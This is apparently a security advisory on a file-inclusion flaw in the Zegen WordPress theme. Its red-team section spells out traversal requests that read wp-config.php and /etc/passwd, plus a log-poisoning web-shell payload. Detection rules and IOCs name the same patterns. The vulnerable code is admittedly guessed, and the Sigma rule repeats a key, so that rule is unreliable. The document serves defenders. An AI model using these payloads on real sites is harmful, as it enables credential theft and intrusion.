CVE-2025-53252

Executive Summary

CVE-2025-53252 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the Zegen WordPress theme by Zozothemes, up to and including version 1.1.9. The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials, or potentially achieving remote code execution if combined with file upload capabilities. The CVSS score is 7.5 (High), and no patch is currently available. This vulnerability is particularly dangerous in the WordPress ecosystem as it can be exploited without authentication.

Supply Chain & Package Security

This vulnerability resides in a commercial WordPress theme (Zegen) distributed by Zozothemes. As a WordPress theme, it is typically installed via the WordPress admin panel or manually uploaded. There is no official package manager (like NPM or PyPI) involved, but the theme may be distributed through marketplaces like ThemeForest. Users should verify the integrity of the theme file and ensure they are using a legitimate copy. The lack of a patch increases supply chain risk, as site owners must rely on custom mitigations or disabling the theme.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full file read capability.
• Integrity Impact: None (I:N) – Cannot modify files directly.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to complete compromise of the WordPress site if combined with other weaknesses (e.g., file upload).

Deep Dive & Mechanics

The vulnerability is a PHP Local File Inclusion (LFI) in the Zegen theme. The theme likely uses a parameter (e.g., page, template, or file) in a PHP include() or require() statement without proper sanitization or validation. An attacker can manipulate this parameter to include arbitrary files from the server's filesystem.

Example vulnerable code pattern:

<?php
$file = $_GET['page'];
include($file . '.php');
?>

An attacker could request:

http://target.com/?page=../../../etc/passwd%00

The null byte (%00) may be used to terminate the string, bypassing the .php extension append. Alternatively, path traversal sequences (../) allow reading files outside the intended directory.

WordPress Context: In a WordPress theme, such parameters are often used for template loading. The vulnerability allows reading sensitive files like:

• wp-config.php (database credentials, salts)
• /etc/passwd (user enumeration)
• /proc/self/environ (environment variables)
• Log files (for log poisoning to achieve RCE)

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern and a hypothetical fix.

Vulnerable Code (Hypothetical):

<?php
// In Zegen theme's template loader
$template = $_GET['template'];
include( get_template_directory() . '/templates/' . $template . '.php' );
?>

Patched Code (Hypothetical):

<?php
$allowed_templates = array('home', 'single', 'page', 'archive');
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
    include( get_template_directory() . '/templates/' . $template . '.php' );
} else {
    // Default template
    include( get_template_directory() . '/templates/page.php' );
}
?>

The fix uses a whitelist of allowed template names, preventing arbitrary file inclusion.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Zegen theme <= 1.1.9
• No authentication required

Step 1: Identify the vulnerable parameter Use a web fuzzer (e.g., Burp Suite, ffuf) to discover parameters like page, template, file, include, or load.

Step 2: Test for LFI

GET /?page=../../../etc/passwd HTTP/1.1
Host: target.com

If the response contains the contents of /etc/passwd, the vulnerability is confirmed.

Step 3: Read sensitive files

GET /?page=../../../wp-config.php HTTP/1.1

This will reveal database credentials.

Step 4: Attempt log poisoning for RCE If you can write to a log file (e.g., via User-Agent header), include that log file to execute PHP code.

Example payload for log poisoning:

User-Agent: <?php system($_GET['cmd']); ?>

Then include the log file:

GET /?page=../../../var/log/apache2/access.log&cmd=id HTTP/1.1

Blue Team (Detection & Hardening)

Detection:

• Monitor for path traversal patterns in HTTP requests (e.g., ../, %00, %2e%2e%2f).
• Alert on inclusion of sensitive files like wp-config.php, /etc/passwd, or log files.
• Use WAF rules to block ../ sequences and null bytes.

Hardening:

• Disable the Zegen theme until a patch is available.
• Implement a Web Application Firewall (WAF) with rules to block LFI attempts.
• Restrict file permissions on sensitive files (e.g., wp-config.php should be 600).
• Disable PHP allow_url_include and allow_url_fopen if not needed.
• Use a security plugin (e.g., Wordfence) with LFI detection.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing ../ or %00 in parameters.
• Requests to wp-content/themes/zegen/ with suspicious parameters.
• User-Agent strings containing PHP code (for log poisoning).

File System IOCs:

• Unexpected inclusion of /etc/passwd, wp-config.php, or log files in web responses.
• Modified log files containing PHP code.

Log IOCs:

• Web server logs showing path traversal attempts.
• PHP error logs indicating failed includes.

Detection Engineering

YARA Rule

rule CVE_2025_53252_LFI_Zegen {
    meta:
        description = "Detects LFI attempts targeting Zegen theme CVE-2025-53252"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53252"
    strings:
        $path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/
        $sensitive_file = /wp-config\.php|etc\/passwd|proc\/self\/environ/
        $zegen_param = /(page|template|file|include|load)=/
    condition:
        $zegen_param and ($path_traversal or $sensitive_file)
}

Sigma Rule

title: CVE-2025-53252 LFI Attempt on Zegen Theme
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit LFI in Zegen theme
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - 'page=../'
            - 'template=../'
            - 'file=../'
            - 'include=../'
            - 'load=../'
        c-uri|contains:
            - 'wp-config.php'
            - '/etc/passwd'
            - '/proc/self/'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in admin panels (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53252 LFI Attempt on Zegen Theme"; flow:to_server,established; content:"GET"; http_method; content:"page=../"; http_uri; nocase; content:"wp-config.php"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Zegen theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is released.
2. Implement a WAF rule to block requests containing ../ or %00 in parameters.
3. Restrict file permissions on wp-config.php to 600 and ensure web server cannot read sensitive system files.

Long-term Fix:

• Contact Zozothemes for a patched version.
• If you have development resources, apply the whitelist-based fix described in the "Vulnerable vs. Patched Code" section.
• Regularly update all WordPress themes and plugins.

Monitoring:

• Enable detailed logging for web requests.
• Review logs for any LFI attempts.
• Use a security plugin to monitor file integrity.

Valters IT - DevSecOps & Cyber Threat Intelligence